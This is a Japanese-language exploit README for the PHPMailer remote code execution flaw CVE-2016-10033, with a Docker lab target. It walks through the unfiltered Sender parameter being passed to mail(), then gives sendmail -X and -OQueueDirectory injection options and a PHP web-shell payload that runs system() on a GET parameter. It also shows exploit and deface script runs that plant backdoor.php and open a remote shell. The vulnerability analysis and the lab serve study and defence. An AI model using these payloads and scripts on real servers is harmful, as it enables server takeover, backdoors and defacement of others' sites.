
PHPMailer < 5.2.18 リモートコード実行エクスプロイトと脆弱性のあるコンテナ
PHPMailer は世界で最も人気のあるトランスポートクラスであり、世界中で約900万人のユーザーがいます。ダウンロードは毎日かなりのペースで続いています。多くのオープンソースプロジェクトで使用されています:WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla! などなど
PHPMailer のバージョン 5.2.18 より前のものには、リモートコード実行(RCE)につながる可能性のある脆弱性があります。isMail トランスポートの mailSend 関数は、Sender プロパティが設定されていない場合、リモートの攻撃者が mail コマンドに余分なパラメータを渡し、その結果、細工された From アドレス内の "(バックスラッシュ+二重引用符)によって任意のコードを実行できる可能性があります。
テスト用に脆弱な環境をセットアップするには、Docker がインストールされている必要があります。次のコマンドを実行するだけです:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
すると、ホストの 8080 ポートで脆弱な Web アプリケーションが起動します。

このターゲットを攻撃するには、次のコマンドを実行するだけです:
./exploit host:port
この脆弱なイメージを使用している場合は、次のコマンドを実行するだけです:
./exploit localhost:8080
攻撃が成功すると、backdoor.php というファイルが Web ディレクトリのルートフォルダに保存されます。そして、エクスプロイトは、バックドアにコマンドを送信できるシェルを提供します:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
これで、シェルが手に入りました。もう1つのエクスプロイトもあります。これは別のユースケースを示しています。
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
そして、ページをもう一度訪れると、次のように表示されます:

このコミットより前の class.phpmailer.php では、特定のシナリオで送信者のメールアドレスに含まれる特殊文字がフィルタリングされません。この欠陥は、ここ の mail 関数を介してリモートコード実行につながる可能性があります。
コードを分析すると、mailSend() 関数にはフィルタがありません。
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender は $params 変数に直接追加されます。この変数は validateAddress() 関数でフィルタリングされていましたが、RFC 3696 仕様を使用しているため、問題を引き起こす特定の文字が許可されます。
この場合、引用符です:
バックスラッシュ文字を使用したクォーティングに加えて、従来の 二重引用符文字を使用して文字列を囲むことができます。例えば
"Abc@def"@example.com
"Fred Bloggs"@example.com
は、上記の最初の2つの例の代替形式です。これらのクォートされた 形式は推奨されることはほとんどなく、実際にはまれですが、上記の ように、電子メールアドレスを処理するアプリケーションでサポートされなければなりません。 特に、クォートされた形式は、他のシステムやコンテキストからの移行に伴う アドレスのコンテキストでよく見られます。そのような移行要件は依然として 発生します。ユーザーが提供した電子メールアドレスを受け入れるシステムは、 そのアドレスがレガシーシステムに関連しているかどうかを「知る」ことができないため、 アドレス形式は受け入れられ、電子メール環境に渡されなければなりません。
全文の RFC はここで読むことができます。ただし、PHP のバージョンが 5.2.0 より古く、PCRE がインストールされていない場合、validateAddress() 内の $patternselect 変数は noregex に設定されます。これにより、入力は正規表現チェックを回避できるようになります。小さな検証のみを通過します:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
その後、コードの流れは mailPassthru() 関数に進みます。この関数は、safe_mode で実行されている場合、次のコードが示すように、この欠陥に対して脆弱ではありません:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
しかし、safe_mode で実行されていない場合、私たちの特別なパラメータは mail() に渡され、運が良ければ、私たちが選んだ場所に書き込みたいものが含まれたファイルを取得できるでしょう。
PHP の mail() 関数の悪用は新しいものではありませんが、今も生き続けており、人々はまだそれを使用しています。その仕組みを説明するために、mail() 関数がどのように定義されているかを見てみましょう:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
さまざまな結果を得るためのいくつかの悪用方法がありますが、ここではリモートコード実行(RCE)を得るための5番目のパラメータの悪用に焦点を当てます。パラメータ $additional_parameters は、メール送信に設定されたプログラムにコマンドラインオプションとして追加のフラグを渡すために使用されます。この設定は sendmail_path 変数によって定義されます。
PHP公式ドキュメントからのセキュリティノート:
additional_parameters パラメータは、sendmail_path 設定で定義されたメール送信プログラムにコマンドラインオプションとして追加のフラグを渡すために使用できます。例えば、sendmail で -f オプションを使用してエンベロープ送信者アドレスを設定するために使用できます。
このパラメータは、コマンド実行を防ぐために内部的に escapeshellcmd() によってエスケープされます。escapeshellcmd() はコマンド実行を防ぎますが、追加のパラメータを追加することは許可します。セキュリティ上の理由から、シェルコマンドに不要なパラメータを追加しないように、ユーザーがこのパラメータをサニタイズすることをお勧めします。
注入できる追加パラメータを考慮すると、この欠陥を悪用するために -X を使用します。-X パラメータの詳細:
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
他にも知っておくべき興味深いパラメータがいくつかあります:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
そして
-O option=value
Set option option to the specified value. This form uses long names.
そして -O オプションでは、QueueDirectory が最も興味深いオプションです。このオプションは、メッセージをキューイングするディレクトリを選択します。
パラメータとオプションの全リストを読みたい場合は、man sendmail を実行するか、ここでオンラインで読んでください。
この情報と、他のパラメータの少なくとも1つを制御できる能力に基づいて、ホストを悪用できます。以下は、悪用を成功させるための手順です:
$additional_parameters と別の mail() パラメータを制御するwebroot 以下の任意の場所です(他のシステムでは /var/www/html、この例では /www)system() ペイロードと、解析を容易にするための base64 といくつかの特殊文字 | を使用しています。-X オプションは、ログ情報の中に PHP ペイロードを含むログファイルを、指定したディレクトリに書き込むことに注意してください。脆弱な PHP コードの例:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
上記のコードを実行すると、/www/backdoor.php にログファイルが作成されます。これがこのエクスプロイトの本質です。
この例で使用されるペイロードは以下のとおりです。
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
この欠陥を見つけるための簡単で1コマンドの方法が欲しいですか? この魔法の grep コマンドを覚えておいてください!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
このリポジトリに対して実行すると、次の結果が得られます。
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
この脆弱性は Dawid Golunski によって発見されました。
このプログラムまたは以前のプログラムは、教育目的のみです。許可なく使用しないでください。通常の免責事項が適用されます。特に、私(opsxcq)は、これらのプログラムによって提供される情報または機能の直接的または間接的な使用によって引き起こされたいかなる損害についても責任を負いません。著者または任意のインターネットプロバイダは、これらのプログラムまたはその派生物のコンテンツまたは誤用について一切の責任を負いません。これらのプログラムを使用することにより、これらのプログラムの使用によって引き起こされたいかなる損害(データ損失、システムクラッシュ、システム侵害など)も opsxcq の責任ではないことを承認したことになります。